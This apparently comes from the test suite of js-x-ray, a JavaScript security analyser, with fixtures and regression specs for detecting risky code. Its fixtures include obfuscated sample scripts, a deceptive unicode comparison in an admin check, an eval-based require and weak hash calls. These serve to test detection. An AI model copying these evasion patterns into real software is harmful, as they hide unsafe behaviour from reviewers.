--------------------------------------------------------------------------------
1 | require("../shared");
2 | require("../shared.js");
3 | require("externalDep");
4 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/invalidDep.js:
--------------------------------------------------------------------------------
1 | @invalidJs
2 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/validDep.js:
--------------------------------------------------------------------------------
1 | require("externalDep");
2 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/entry.js:
--------------------------------------------------------------------------------
1 | require("./deps/dep1");
2 | require("./deps/dep2.js"); // keep extension for testing purpose
3 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/entryWithInvalidDep.js:
--------------------------------------------------------------------------------
1 | require("./deps/invalidDep");
2 | require("./deps/dep1");
3 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/entryWithRequireDepWithExtension.js:
--------------------------------------------------------------------------------
1 | require("./deps/dep1.js");
2 | require("./deps/dep1");
3 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/entryWithVariousDepExtensions.js:
--------------------------------------------------------------------------------
1 | require("./deps/default.js");
2 | require("./deps/default.cjs");
3 | require("./deps/default.mjs");
4 | require("./deps/default.node");
5 | require("./deps/default.jsx");
6 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/export.js:
--------------------------------------------------------------------------------
1 | export * from "./shared.js";
2 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/recursive/A.js:
--------------------------------------------------------------------------------
1 | import { bar } from "./B.js";
2 |
3 | export const foo = "bar";
4 | console.log(bar);
5 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/recursive/B.js:
--------------------------------------------------------------------------------
1 | import { foo } from "./A.js";
2 |
3 | export const bar = "foo";
4 | console.log(foo);
5 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/shared.js:
--------------------------------------------------------------------------------
1 | require("externalDep");
2 |
--------------------------------------------------------------------------------
/test/fixtures/issues/html-comments.js:
--------------------------------------------------------------------------------
1 | ;
2 |
3 | var bar;
4 |
5 | ;
10 |
--------------------------------------------------------------------------------
/test/fixtures/issues/prop-types.min.js:
--------------------------------------------------------------------------------
1 | /*
2 | prop-types module, version 15.8.1, licensed as:
3 |
4 | MIT License
5 |
6 | Copyright (c) 2013-present, Facebook, Inc.
7 |
8 | Permission is hereby granted, free of charge, to any person obtaining a copy
9 | of this software and associated documentation files (the "Software"), to deal
10 | in the Software without restriction, including without limitation the rights
11 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
12 | copies of the Software, and to permit persons to whom the Software is
13 | furnished to do so, subject to the following conditions:
14 |
15 | The above copyright notice and this permission notice shall be included in all
16 | copies or substantial portions of the Software.
17 |
18 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
19 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
20 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
21 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
22 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
23 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
24 | SOFTWARE.
25 | */
26 | !function(f){"object"==typeof exports&&"undefined"!=typeof module?module.exports=f():"function"==typeof define&&define.amd?define([],f):("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).PropTypes=f()}(function(){return function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var p="function"==typeof require&&require;if(!f&&p)return p(i,!0);if(u)return u(i,!0);throw(p=new Error("Cannot find module '"+i+"'")).code="MODULE_NOT_FOUND",p}p=n[i]={exports:{}},e[i][0].call(p.exports,function(r){return o(e[i][1][r]||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i a
45 | .split(' ')
46 | .map(
47 | b => ref[b]
48 | ).join('')
49 | ).join(' ');
50 | }
51 |
52 | var decoded = decodeMorse(".-- --- .-. -.. .-- --- .-. -..");
53 | console.log(decoded);
54 |
--------------------------------------------------------------------------------
/test/fixtures/obfuscated/notMorse.js:
--------------------------------------------------------------------------------
1 | function decodeNotMorse(notMorseCode) {
2 | var ref = {
3 | '.': 'a',
4 | '..': 'b',
5 | '...': 'c',
6 | '-': 'd',
7 | '--': 'e',
8 | '---': 'f',
9 | '.-': 'g',
10 | '.--': 'h',
11 | '-.': 'i',
12 | '-..': 'j',
13 | '....': 'k',
14 | '----': 'l',
15 | '.-.-': 'm',
16 | '.--.': 'n',
17 | '....----': 'o',
18 | '...----': 'p',
19 | '..----': 'q',
20 | '.----': 'r',
21 | '. . .': 's',
22 | '- - -': 't',
23 | '. - .': 'u',
24 | '- . -': 'v',
25 | '. . -': 'w',
26 | '- . .': 'x',
27 | '- - .': 'y',
28 | '_': 'z',
29 | '__': '1',
30 | '___': '2',
31 | '____': '3',
32 | '._': '4',
33 | '.__': '5',
34 | '.___': '6',
35 | '__.': '7',
36 | '.-_': '8',
37 | '-._': '9',
38 | '_-.': '0',
39 | };
40 |
41 | return notMorseCode
42 | .split(' ')
43 | .map(
44 | a => a
45 | .split(' ')
46 | .map(
47 | b => ref[b]
48 | ).join('')
49 | ).join(' ');
50 | }
51 |
52 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -..");
53 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -..");
54 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -..");
55 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -..");
56 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -..");
57 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -..");
58 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -..");
59 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -..");
60 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -..");
61 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -..");
62 | console.log(decoded);
63 |
--------------------------------------------------------------------------------
/test/fixtures/obfuscated/obfuscatorio-hexa.js:
--------------------------------------------------------------------------------
1 | var brak_0x4e58 = ['309635TRGVSq', '320156FTEzSS', '317597zJvZET', '2QchCvw', '150700lSXecN', '624932zCCjLF', '1XPPqon', 'Hello\x20World!', 'log', '294491nLFXTD', '7817ihJEZU']; var brak_0x1620 = function (_0x6a7f9e, _0x3fc21b) { _0x6a7f9e = _0x6a7f9e - 0x122; var _0x4e5820 = brak_0x4e58[_0x6a7f9e]; return _0x4e5820; }; (function (_0x5bce8f, _0x3db298) { var _0x2f33c2 = brak_0x1620; while (!![]) { try { var _0x12d8fc = -parseInt(_0x2f33c2(0x123)) * parseInt(_0x2f33c2(0x12a)) + parseInt(_0x2f33c2(0x124)) + -parseInt(_0x2f33c2(0x129)) + parseInt(_0x2f33c2(0x12c)) + parseInt(_0x2f33c2(0x122)) + parseInt(_0x2f33c2(0x12b)) * parseInt(_0x2f33c2(0x126)) + -parseInt(_0x2f33c2(0x125)); if (_0x12d8fc === _0x3db298) break; else _0x5bce8f['push'](_0x5bce8f['shift']()); } catch (_0x12603c) { _0x5bce8f['push'](_0x5bce8f['shift']()); } } }(brak_0x4e58, 0x27cd7)); function hi() { var _0x401aed = brak_0x1620; console[_0x401aed(0x128)](_0x401aed(0x127)); } hi();
2 |
--------------------------------------------------------------------------------
/test/fixtures/obfuscated/unsafe-unicode-chars.js:
--------------------------------------------------------------------------------
1 | function deleteAccount(role) {
2 | if (role === "admin // Check if admin ") {
3 | // Do Admin-only stuff
4 | }
5 | return;
6 | }
--------------------------------------------------------------------------------
/test/fixtures/searchRuntimeDependencies/customProbe.js:
--------------------------------------------------------------------------------
1 | const danger = 'danger';
2 | const stream = eval('require')('stream');
3 |
--------------------------------------------------------------------------------
/test/fixtures/searchRuntimeDependencies/depName.js:
--------------------------------------------------------------------------------
1 | require("foobar");
2 | require("open");
3 |
--------------------------------------------------------------------------------
/test/fixtures/searchRuntimeDependencies/parsingError.js:
--------------------------------------------------------------------------------
1 | -)
2 |
--------------------------------------------------------------------------------
/test/fixtures/searchRuntimeDependencies/suspiciousFile.js:
--------------------------------------------------------------------------------
1 | [
2 | { key: "b058d2931f46abb2a6062abcddf61d75",
3 | iv: "ed77b0e43daccec06c41f472",
4 | pt: "849c27d7333fe9fb769725b0f29a6b0d977e504976d709b8b6ef542e455504a20243e9ff2ea72da8ab709f983f85349f0ccb63a3c3d70225b8c06305592487193b8599c4aeeecc513d9f71bce28fa0f3a9ba5b310fed302a360b73e7a546793f1dd7b17c1dfcb6348c1f2dfe86dab6",
5 | adata: "a7e0f806e4ff0829b0fd8142f8aa26d5a1a1c34cde7e23d65b43cbc3a3cd692bf5817f68756bd46b78cef34903879c7d5929e94b4b3470564f4480315496bf0f2d66358a0ad1e4a2dca7f807c0bb747ca11266f04ec01dc631cbe7019ea8479bb41f23c575008ce54b841066d72806fc0cfa88905ef1444d02ecccbcec53f04ef65fdd42",
6 | ct: "9f14fa396445bf0e206b123e090edf1c41c6ee6b85ec9963721075b9261006b83a68c3179e2824d45ad4a10e0cd44a66b9c4c12c57424a2dff701eac89d968a64b3b221864a163cc9425ee687bdb283c0b9931b5abde531a6e43737ddea7f715779a8ec15ff06808eb54f0e538c5ef",
7 | tag: "8f27c1985372e9db7477be389e701c26"
8 | },
9 | { key: "76913a2c23ecde49fe994d9d0916488a",
10 | iv: "cebfa37c55b7b378",
11 | pt: "803c56f2397c4250c90c9722133781e5b8ebf5997cb01c70b157bd4ff83c519edd13c020adea8c519f36cf5133c79565aafe5922aefb74ede1ef8cc985",
12 | adata: "598bb9d13392623064a19cf5812c207c47fed14c1c0bc913806b603a5426ee930d0f7d766b098b4175074802799b3e396ae1",
13 | ct: "096e3a778050bb9fb40fc596e4e8b22f9b51056aad7f624f324946bec90e558e89c5da8332b1639dc3ed56a30ca895827d2254d9679f309ae05805ca46",
14 | tag: "18c15e5c5c9dac4d16f9311a92bb8331"
15 | },
16 | { key: "dc0dd104000e11fe11418e3fbf79efa6",
17 | iv: "56832be3131809aefd05b162",
18 | pt: "117fc55d618f2d97920600e606ef51d2bca851efca396c1a7153142dc5645210c634aae95de3a049ae6097459f45923d30281bfa5dbc8b84861da5e5f122557c701ecdbd6e9cba5b02947750069ee29f19a055438fde6ade9ebc36a7ac92d80d408abfd5c7695f1db5e7aa37d5e2dd40c9b775",
19 | adata: "3a8a94fa6312e080ffe1920719d0e5d616d1",
20 | ct: "a830e76f8becfea6bf6fb81d91a11f2f89843b6f57d6a6d5160ef4a576c610a1d4e91722b962672503c36a710c5966f911949e8b5c353973a7e9498304569674317ad34acb753cc2e6c8b763a946541176aae77390586403e5821d17908272b7cec98165b5b28f8918bad713dc99e74ee7a7fb",
21 | tag: "5b01223877855fc1608534e66425759f"
22 | },
23 | { key: "3f8e92ec57c05c27a6c1d8374b26cbff",
24 | iv: "56d56bd8bd3c2211458ed96c",
25 | pt: "3edfcd3729c9b01667687c6f5203c6c4a753966eee3b29344fec47995a3793e0bae09389def1117da88d164fb3dd984dd244a7bb78d3332b501f16a1b65bd65773cece6aa434988981d55ac4a80b3404b87447bd7437d6dd62a99defdf366de63cc7da5b05",
26 | adata: "",
27 | ct: "540ed4a1eaf23b7b1b87e9dc8b9c96135b99e45147c919c45aecc0323b7a41179454d6e704671a77c37dc6ebd1b20a644135c0d16f1443aa67667d2cbaead3483856d299a0021b7db598c1d053c1b19e446cd3d90aa2db2871ee8397ec05805d2343404ef5",
28 | tag: "e6b41ccae9b8dbd16cdde8424df5960f"
29 | },
30 | { key: "fa99cbf6105ae39b594aa4adb6e94b21",
31 | iv: "0eaa5a3b2fe22e795f99422b",
32 | pt: "1be4af9f0ad57423d6fa4bc5cdf6071341062d1d60782c60ecaf2d5490f090ce3501c8acee2679cb700f93304b377824ffc4a945d73545dc8f7869eef536aad06d4e4bd8c85628a5b6bdac50f31b045668382cf012c152c1fb4a51f880eaddb457eeb7ade98c0be3685625d081386084e322e9203fae7e35a43542c65d11c1ab60a369cb3e9489e79141aac6adc36bceb00fa4b33c05a7e171437205d247c2ed755b064737dc1b03d27246b9bee230",
33 | adata: "4df4cb4bc5d947487e685490a7ee5dfdab55211035bc8537f172cde808bb7d691fc05634613473395c8d890b3fbeaa609b77b9bf2d405bce8fd1a725e36342190607b6b36e7b6d50775a3b9fdf23ddf0340e44eb4536df3642e3bf87bda3ccbeb27cabbae5c2a3c021dd0f6e9056d9b4be948f4190f7a130c1a64813618fc7bb42ae3570",
34 | ct: "6bd3af8afc802252b76bd1ca85c204008435d6ae598245944613ce64f918f0808f2df1db854af77921ca5eeba8cfbc174359019df14c6ee6c0378f6db045c055b81173f0546fc1d884ff56c04b4f3a92b33660f1f851fb657e1947aaee4387e531782404cebef95102246e5566141f421824e5411a1aa9203d70cde3250a39777b9ee478f59a758a0d008212f9eb17c92f046f006de1e31aa529b8dfce3e19addd7074c69ec1a18d64e91413cb77b5",
35 | tag: "9f7e906f519e2a7bd484304b33aa9fcf"
36 | }
37 | ];
38 |
--------------------------------------------------------------------------------
/test/issues/109-html-comment-parsing.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { readFileSync } from "node:fs";
3 | import { test } from "node:test";
4 | import assert from "node:assert";
5 |
6 | // Import Internal Dependencies
7 | import { AstAnalyser } from "../../index.js";
8 |
9 | // CONSTANTS
10 | const FIXTURE_URL = new URL("../fixtures/issues/", import.meta.url);
11 |
12 | // Regression test for https://github.com/NodeSecure/js-x-ray/issues/109
13 | test("it should not crash for a JavaScript file containing HTML comments (and removeHTMLComments option enabled)", () => {
14 | const htmlComment = readFileSync(new URL("html-comments.js", FIXTURE_URL), "utf-8");
15 | new AstAnalyser().analyse(htmlComment, {
16 | removeHTMLComments: true
17 | });
18 | });
19 |
20 | test("it should crash for a JavaScript file containing HTML comments", (t) => {
21 | const htmlComment = readFileSync(new URL("html-comments.js", FIXTURE_URL), "utf-8");
22 |
23 | assert.throws(() => new AstAnalyser().analyse(htmlComment));
24 | });
25 |
--------------------------------------------------------------------------------
/test/issues/163-illegalReturnStatement.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { AstAnalyser } from "../../index.js";
7 |
8 | /**
9 | * @see https://github.com/NodeSecure/js-x-ray/issues/163
10 | */
11 | // CONSTANTS
12 | const kIncriminedCodeSample = `
13 | const argv = process.argv.slice(2);
14 |
15 | function foobar() {
16 | console.log("foobar");
17 | }
18 |
19 | if (!argv.length) {
20 | return foobar();
21 | }
22 | `;
23 |
24 | test("it should not throw error whatever module is true or false", () => {
25 | assert.doesNotThrow(() => {
26 | new AstAnalyser().analyse(kIncriminedCodeSample, { module: false });
27 | });
28 | assert.doesNotThrow(() => {
29 | new AstAnalyser().analyse(kIncriminedCodeSample, { module: true });
30 | });
31 | });
32 |
--------------------------------------------------------------------------------
/test/issues/170-isOneLineRequire-logicalExpression-CJS-export.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { AstAnalyser } from "../../index.js";
7 |
8 | const validTestCases = [
9 | ["module.exports = require('fs') || require('constants');", ["fs", "constants"]],
10 | ["module.exports = require('constants') ? require('fs') : require('foo');", ["constants", "fs", "foo"]],
11 |
12 | // should have at least one branch has a `require` callee
13 | ["module.exports = require('constants') || {};", ["constants"]],
14 | ["module.exports = {} || require('constants');", ["constants"]],
15 | ["module.exports = require('constants') ? require('fs') : {};", ["constants", "fs"]],
16 | ["module.exports = require('constants') ? {} : require('fs');", ["constants", "fs"]],
17 |
18 | // should apply to nested conditions
19 | ["module.exports = (require('constants') || {}) || (require('foo') || {});", ["constants", "foo"]],
20 | ["module.exports = require('constants') ? (require('fs') || {}) : ({} || require('foo'));", ["constants", "fs", "foo"]],
21 | ["module.exports = require('constants') ? ({} || require('fs')) : (require('foo') || {});", ["constants", "fs", "foo"]],
22 | ["module.exports = require('constants') ? (require('fs') ? {} : require('bar')) : {};", ["constants", "fs", "bar"]],
23 | ["module.exports = require('constants') ? {} : (require('fs') ? {} : require('bar'));", ["constants", "fs", "bar"]],
24 |
25 | // test condition that are not `require` callees, here `notRequire('someModule')`, are ignored
26 | ["module.exports = notRequire('someModule') ? require('constants') : require('foo');",
27 | ["constants", "foo"]
28 | ],
29 | ["module.exports = ok ? (notRequire('someModule') ? require('constants') : require('foo')) : {};",
30 | ["constants", "foo"]
31 | ],
32 | ["module.exports = ok ? {} : (notRequire('someModule') ? require('constants') : require('foo'));",
33 | ["constants", "foo"]
34 | ]
35 | ];
36 |
37 | test("it should return isOneLineRequire true given a single line CJS export with a valid assignment", () => {
38 | validTestCases.forEach((test) => {
39 | const [source, modules] = test;
40 | const { dependencies, flags } = new AstAnalyser().analyse(source);
41 |
42 | assert.ok(flags.has("oneline-require"));
43 | assert.deepEqual([...dependencies.keys()], modules);
44 | });
45 | });
46 |
47 | const invalidTestCases = [
48 | // should have at least one `require` callee
49 | ["module.exports = notRequire('foo') || {};", []],
50 | ["module.exports = {} || notRequire('foo');", []],
51 | ["module.exports = require('constants') ? {} : {};", ["constants"]],
52 |
53 | // same behavior should apply to nested conditions
54 | ["module.exports = (notRequire('foo') || {}) || (notRequire('foo') || {});", []],
55 | ["module.exports = require('constants') ? (notRequire('foo') || {}) : (notRequire('foo') || {});", ["constants"]],
56 | ["module.exports = require('constants') ? (notRequire('foo') || {}) : (notRequire('foo') || {});", ["constants"]],
57 | ["module.exports = require('constants') ? (require('constants') ? {} : {}) : (require('constants') ? {} : {});", ["constants"]]
58 | ];
59 |
60 | test("it should return isOneLineRequire false given a single line CJS export with illegal callees", () => {
61 | invalidTestCases.forEach((test) => {
62 | const [source, modules] = test;
63 | const { dependencies, flags } = new AstAnalyser().analyse(source);
64 |
65 | assert.ok(flags.has("oneline-require") === false);
66 | assert.deepEqual([...dependencies.keys()], modules);
67 | });
68 | });
69 |
--------------------------------------------------------------------------------
/test/issues/177-wrongUnsafeRequire.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { AstAnalyser } from "../../index.js";
7 |
8 | /**
9 | * @see https://github.com/NodeSecure/js-x-ray/issues/177
10 | */
11 | test("should detect unsafe-import and unsafe-statement", () => {
12 | const { warnings, dependencies } = new AstAnalyser().analyse(`const help = require('help-me')({
13 | dir: path.join(__dirname, 'help'),
14 | ext: '.txt'
15 | })`);
16 |
17 | assert.strictEqual(warnings.length, 0);
18 | assert.ok(dependencies.has("help-me"));
19 | const dependency = dependencies.get("help-me");
20 |
21 | assert.deepEqual(
22 | dependency,
23 | {
24 | unsafe: false,
25 | inTry: false,
26 | location: {
27 | end: {
28 | column: 31,
29 | line: 1
30 | },
31 | start: {
32 | column: 13,
33 | line: 1
34 | }
35 | }
36 | }
37 | );
38 | });
39 |
--------------------------------------------------------------------------------
/test/issues/178-path-join-literal-args-is-not-unsafe.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { AstAnalyser } from "../../index.js";
7 |
8 | /**
9 | * @see https://github.com/NodeSecure/js-x-ray/issues/178
10 | */
11 | const validTestCases = [
12 | "const bin = require(path.join('..', './bin.js'));",
13 | "const bin = require.resolve(path.join('..', './bin.js'));"
14 | ];
15 |
16 | test("should not detect unsafe-import for path.join if every argument is a string literal", () => {
17 | validTestCases.forEach((test) => {
18 | const { warnings, dependencies } = new AstAnalyser().analyse(test);
19 |
20 | assert.strictEqual(warnings.length, 0);
21 | assert.ok(dependencies.has("../bin.js"));
22 | });
23 | });
24 |
25 | const invalidTestCases = [
26 | "const bin = require(path.join(__dirname, '..', './bin.js'));",
27 | "const bin = require(path.join(3, '..', './bin.js'));",
28 | "const bin = require.resolve(path.join(__dirname, '..', './bin.js'));",
29 | "const bin = require.resolve(path.join(3, '..', './bin.js'));"
30 | ];
31 |
32 | test("should detect unsafe-import of path.join if not every argument is a string literal", () => {
33 | invalidTestCases.forEach((test) => {
34 | const { warnings } = new AstAnalyser().analyse(test);
35 |
36 | assert.strictEqual(warnings.length, 1);
37 | });
38 | });
39 |
--------------------------------------------------------------------------------
/test/issues/179-UnsafeEvalRequire.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { AstAnalyser } from "../../index.js";
7 |
8 | /**
9 | * @see https://github.com/NodeSecure/js-x-ray/issues/179
10 | */
11 | // CONSTANTS
12 | const kIncriminedCodeSample = "const stream = eval('require')('stream');";
13 | const kWarningUnsafeImport = "unsafe-import";
14 | const kWarningUnsafeStatement = "unsafe-stmt";
15 |
16 | test("should detect unsafe-import and unsafe-statement", () => {
17 | const sastAnalysis = new AstAnalyser().analyse(kIncriminedCodeSample);
18 |
19 | assert.equal(sastAnalysis.warnings.at(0).value, "stream");
20 | assert.equal(sastAnalysis.warnings.at(0).kind, kWarningUnsafeImport);
21 | assert.equal(sastAnalysis.warnings.at(1).value, "eval");
22 | assert.equal(sastAnalysis.warnings.at(1).kind, kWarningUnsafeStatement);
23 | assert.equal(sastAnalysis.warnings.length, 2);
24 | assert.equal(sastAnalysis.dependencies.has("stream"), true);
25 | assert.equal(sastAnalysis.dependencies.get("stream").unsafe, true);
26 | assert.equal(sastAnalysis.dependencies.size, 1);
27 | });
28 |
--------------------------------------------------------------------------------
/test/issues/180-logicalexpr-return-this.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { AstAnalyser } from "../../index.js";
7 |
8 | /**
9 | * @see https://github.com/NodeSecure/js-x-ray/issues/180
10 | */
11 | test("should detect required core 'http' with a LogicalExpr containing Function('return this')()", () => {
12 | const { warnings, dependencies } = new AstAnalyser().analyse(`
13 | var root = freeGlobal || freeSelf || Function('return this')();
14 | const foo = root.require;
15 | foo("http");
16 | `);
17 |
18 | assert.strictEqual(warnings.length, 0);
19 | assert.strictEqual(dependencies.size, 1);
20 | assert.ok(dependencies.has("http"));
21 | });
22 |
--------------------------------------------------------------------------------
/test/issues/283-oneline-require-minified.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { AstAnalyser } from "../../index.js";
7 |
8 | // Regression test for https://github.com/NodeSecure/js-x-ray/issues/283
9 | test("Given a one line require (with no module.exports) then isOneLineRequire must equal true", () => {
10 | const { flags } = new AstAnalyser().analyse("require('foo.js');");
11 |
12 | assert.ok(flags.has("oneline-require"));
13 | });
14 |
15 | test("Given an empty code then isOneLineRequire must equal false", () => {
16 | const { flags } = new AstAnalyser().analyse("");
17 |
18 | assert.strictEqual(flags.has("oneline-require"), false);
19 | });
20 |
--------------------------------------------------------------------------------
/test/issues/295-deobfuscator-function-declaration-id-null.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 |
4 | // Import Internal Dependencies
5 | import { AstAnalyser } from "../../index.js";
6 |
7 | /**
8 | * @see https://github.com/NodeSecure/js-x-ray/issues/295
9 | */
10 | test("Deobfuscator.#extractCounterIdentifiers should not throw if FunctionDeclaration id is null", () => {
11 | new AstAnalyser().analyse(`
12 | export default async function (app) {
13 | app.loaded = true
14 | }
15 | `);
16 | });
17 |
--------------------------------------------------------------------------------
/test/issues/312-try-finally.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { AstAnalyser } from "../../index.js";
7 |
8 | /**
9 | * @see https://github.com/NodeSecure/js-x-ray/issues/312
10 | */
11 | test("SourceFile inTryStatement must ignore try/finally statements", () => {
12 | const { dependencies } = new AstAnalyser().analyse(`
13 | try {
14 | // do something
15 | }
16 | finally {
17 |
18 | }
19 |
20 | var import_ts = __toESM(require("foobar"), 1);
21 | `);
22 | assert.strictEqual(dependencies.size, 1);
23 | assert.ok(dependencies.has("foobar"));
24 |
25 | const dependency = dependencies.get("foobar");
26 | assert.strictEqual(dependency.unsafe, false);
27 | assert.strictEqual(dependency.inTry, false);
28 | });
29 |
--------------------------------------------------------------------------------
/test/issues/59-undefined-depName.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { readFileSync } from "node:fs";
3 | import { test } from "node:test";
4 |
5 | // Import Internal Dependencies
6 | import { AstAnalyser } from "../../index.js";
7 |
8 | // CONSTANTS
9 | const FIXTURE_URL = new URL("../fixtures/issues/", import.meta.url);
10 |
11 | // Regression test for https://github.com/NodeSecure/js-x-ray/issues/59
12 | test("it should not crash for prop-types", () => {
13 | const propTypes = readFileSync(
14 | new URL("prop-types.min.js", FIXTURE_URL),
15 | "utf-8"
16 | );
17 | new AstAnalyser().analyse(propTypes);
18 | });
19 |
--------------------------------------------------------------------------------
/test/probes/fixtures/weakCrypto/directCallExpression/md2.js:
--------------------------------------------------------------------------------
1 | const { createHash } = require("crypto");
2 |
3 | createHash("md2");
4 |
--------------------------------------------------------------------------------
/test/probes/fixtures/weakCrypto/directCallExpression/md4.js:
--------------------------------------------------------------------------------
1 | const { createHash } = require("crypto");
2 |
3 | createHash("md4");
4 |
--------------------------------------------------------------------------------
/test/probes/fixtures/weakCrypto/directCallExpression/md5.js:
--------------------------------------------------------------------------------
1 | const { createHash } = require("crypto");
2 |
3 | createHash("md5");
4 |
--------------------------------------------------------------------------------
/test/probes/fixtures/weakCrypto/directCallExpression/ripemd160.js:
--------------------------------------------------------------------------------
1 | const { createHash } = require("crypto");
2 |
3 | createHash("ripemd160");
4 |
--------------------------------------------------------------------------------
/test/probes/fixtures/weakCrypto/directCallExpression/sha1.js:
--------------------------------------------------------------------------------
1 | const { createHash } = require("crypto");
2 |
3 | createHash("sha1");
4 |
--------------------------------------------------------------------------------
/test/probes/fixtures/weakCrypto/memberExpression/md2.js:
--------------------------------------------------------------------------------
1 | import crypto from "crypto";
2 |
3 | crypto.createHash("md2");
4 |
--------------------------------------------------------------------------------
/test/probes/fixtures/weakCrypto/memberExpression/md4.js:
--------------------------------------------------------------------------------
1 | import crypto from "crypto";
2 |
3 | crypto.createHash("md4");
4 |
--------------------------------------------------------------------------------
/test/probes/fixtures/weakCrypto/memberExpression/md5.js:
--------------------------------------------------------------------------------
1 | import crypto from "crypto";
2 |
3 | crypto.createHash("md5");
4 |
--------------------------------------------------------------------------------
/test/probes/fixtures/weakCrypto/memberExpression/ripemd160.js:
--------------------------------------------------------------------------------
1 | import crypto from "crypto";
2 |
3 | crypto.createHash("ripemd160");
4 |
--------------------------------------------------------------------------------
/test/probes/fixtures/weakCrypto/memberExpression/sha1.js:
--------------------------------------------------------------------------------
1 | import crypto from "crypto";
2 |
3 | crypto.createHash("sha1");
4 |
--------------------------------------------------------------------------------
/test/probes/isArrayExpression.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { getSastAnalysis, parseScript } from "../utils/index.js";
7 | import isArrayExpression from "../../src/probes/isArrayExpression.js";
8 |
9 | test("it should trigger analyzeLiteral method one time", (t) => {
10 | const str = "['foo']";
11 |
12 | const ast = parseScript(str);
13 | const sastAnalysis = getSastAnalysis(str, isArrayExpression);
14 |
15 | t.mock.method(sastAnalysis.sourceFile, "analyzeLiteral");
16 | sastAnalysis.execute(ast.body);
17 |
18 | assert.strictEqual(sastAnalysis.warnings().length, 0);
19 |
20 | const calls = sastAnalysis.sourceFile.analyzeLiteral.mock.calls;
21 | assert.strictEqual(calls.length, 1);
22 |
23 | const literalNode = calls[0].arguments[0];
24 | assert.strictEqual(literalNode.value, "foo");
25 | });
26 |
27 | test("it should trigger analyzeLiteral method two times (ignoring the holey between)", (t) => {
28 | const str = "[5, ,10]";
29 |
30 | const ast = parseScript(str);
31 | const sastAnalysis = getSastAnalysis(str, isArrayExpression);
32 |
33 | t.mock.method(sastAnalysis.sourceFile, "analyzeLiteral");
34 | sastAnalysis.execute(ast.body);
35 |
36 | const calls = sastAnalysis.sourceFile.analyzeLiteral.mock.calls;
37 | assert.strictEqual(calls.length, 2);
38 | assert.strictEqual(calls[0].arguments[0].value, 5);
39 | assert.strictEqual(calls[1].arguments[0].value, 10);
40 | });
41 |
42 | test("it should trigger analyzeLiteral one time (ignoring non-literal Node)", (t) => {
43 | const str = "[5, () => void 0]";
44 |
45 | const ast = parseScript(str);
46 | const sastAnalysis = getSastAnalysis(str, isArrayExpression);
47 |
48 | t.mock.method(sastAnalysis.sourceFile, "analyzeLiteral");
49 | sastAnalysis.execute(ast.body);
50 |
51 | const calls = sastAnalysis.sourceFile.analyzeLiteral.mock.calls;
52 | assert.strictEqual(calls.length, 1);
53 |
54 | const literalNode = calls[0].arguments[0];
55 | assert.strictEqual(literalNode.value, 5);
56 | });
57 |
--------------------------------------------------------------------------------
/test/probes/isBinaryExpression.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js dependencies
